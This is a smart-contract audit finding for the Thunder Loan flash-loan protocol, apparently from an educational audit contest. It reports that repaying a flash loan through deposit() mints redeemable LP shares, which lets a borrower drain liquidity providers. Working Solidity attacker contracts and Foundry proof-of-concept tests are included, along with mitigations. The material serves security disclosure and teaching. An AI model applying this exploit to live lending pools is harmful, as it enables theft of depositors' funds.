Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash Loan Repayment Bypass via Deposit Allows Borrowers to Drain LP Funds

Description

ThunderLoan.flashloan() checks repayment using only the pool's final ERC20 balance:

uint256 endingBalance = token.balanceOf(address(assetToken));
​
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(
startingBalance + fee, endingBalance
);
}

During executeOperation(), a borrower can call deposit(token, amount + fee) instead of repaying normally.

Although this restores the required token balance, deposit() also mints redeemable AssetToken shares to the borrower. The flash loan succeeds, and the borrower can subsequently redeem those shares to withdraw the borrowed principal.

Root cause: Deposits that create new LP liabilities are incorrectly accepted as flash loan repayments.

Risk

Likelihood: High. Any borrower can execute this sequence without privileged access, providing only the flash loan fee.

Impact: High. Existing LP funds can be drained. In the verified test, Alice deposits 1,000 tokens, while the attacker borrows 100 and supplies only 0.3 tokens. The attacker deposits 100.3 during the callback, receives LP shares, and later redeems approximately 100.3 tokens.

The pool is left with approximately 900 tokens, causing Alice's full redemption to revert.

The attack also succeeds when the unrelated deposit exchange-rate inflation issue is removed.

Proof of Concept

Create test/unit/DepositAsRepaymentPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {BaseTest} from "./BaseTest.t.sol";
import {ThunderLoan} from "../../src/protocol/ThunderLoan.sol";
import {AssetToken} from "../../src/protocol/AssetToken.sol";
import {IFlashLoanReceiver} from "../../src/interfaces/IFlashLoanReceiver.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
​
contract DepositReceiver is IFlashLoanReceiver {
ThunderLoan immutable lender;
address immutable controller;
​
constructor(ThunderLoan _lender) {
lender = _lender;
controller = msg.sender;
}
​
function executeOperation(
address token, uint256 amount, uint256 fee,
address, bytes calldata
) external override returns (bool) {
require(msg.sender == address(lender));
IERC20(token).approve(address(lender), amount + fee);
lender.deposit(IERC20(token), amount + fee);
return true;
}
​
function exit(IERC20 token) external returns (uint256 received) {
require(msg.sender == controller);
lender.redeem(token, type(uint256).max);
received = token.balanceOf(address(this));
require(token.transfer(controller, received));
}
}
​
contract DepositAsRepaymentPoC is BaseTest {
function testDepositRepaymentBypass() public {
thunderLoan.setAllowedToken(tokenA, true);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
​
address alice = makeAddr("Alice");
tokenA.mint(alice, 1000e18);
​
vm.startPrank(alice);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
​
DepositReceiver attacker = new DepositReceiver(thunderLoan);
uint256 fee = thunderLoan.getCalculatedFee(tokenA, 100e18);
tokenA.mint(address(attacker), fee);
​
// Borrower deposits instead of repaying.
thunderLoan.flashloan(address(attacker), tokenA, 100e18, "");
​
assertGt(asset.balanceOf(address(attacker)), 0);
​
// Borrower redeems LP shares obtained with the loan.
uint256 withdrawn = attacker.exit(tokenA);
​
assertGt(withdrawn, 100e18);
assertLt(tokenA.balanceOf(address(asset)), 1000e18);
​
// Original liquidity provider cannot fully withdraw.
vm.startPrank(alice);
vm.expectRevert(
bytes("ERC20: transfer amount exceeds balance")
);
thunderLoan.redeem(tokenA, type(uint256).max);
vm.stopPrank();
}
}

Run:

forge test --match-test testDepositRepaymentBypass -vvvv

The independently executed testDepositInsideFlashLoan() test confirmed successful borrowing, LP-share minting, redemption, and the original LP's failed full withdrawal.

Recommended Mitigation

Prevent deposits from being counted as flash loan repayments. For example, reject deposits of the borrowed token while a flash loan is active:

if (s_currentlyFlashLoaning[token]) {
revert DepositDuringFlashLoan();
}

Alternatively, track repayments separately from liquidity deposits. Funds that create redeemable LP shares must not simultaneously satisfy the borrower's repayment obligation.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!